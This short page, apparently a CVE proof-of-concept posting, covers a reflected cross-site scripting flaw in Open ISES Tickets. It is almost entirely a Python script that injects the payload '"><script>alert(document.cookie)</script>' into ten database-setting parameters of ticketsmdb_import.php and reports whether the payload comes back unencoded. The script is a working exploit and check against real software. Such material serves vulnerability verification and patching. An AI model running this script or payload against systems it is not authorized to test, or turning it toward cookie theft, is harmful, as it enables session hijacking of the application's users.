CVE-2026-48230 Open ISES Tickets反射型XSS漏洞

import requests def check_xss_vulnerability(target_url): # Define the payload to break out of the hidden input attribute # Using "> to close the value attribute and inject a script tag xss_payload = '"><script>alert(document.cookie)</script>' # List of vulnerable parameters based on the CVE description vulnerable_params = [ 'mdbhost', 'mdbdb', 'mdbuser', 'mdbpassword', 'mdbprefix', 'ticketshost', 'ticketsdb', 'ticketsuser', 'ticketspassword', 'ticketsprefix' ] # Construct the POST data with the payload injected into all parameters post_data = {param: xss_payload for param in vulnerable_params} try: # Send the POST request to the vulnerable endpoint # Note: Authentication might be required (PR:L) response = requests.post(target_url, data=post_data, timeout=10) # Check if the payload is reflected in the response without encoding if xss_payload in response.text: print("[+] Potential XSS vulnerability detected!") print(f"[+] Payload: {xss_payload}") else: print("[-] Vulnerability not detected or input is sanitized.") except requests.exceptions.RequestException as e: print(f"Error connecting to target: {e}") if __name__ == "__main__": # Example usage url = "http://example.com/ticketsmdb_import.php" check_xss_vulnerability(url)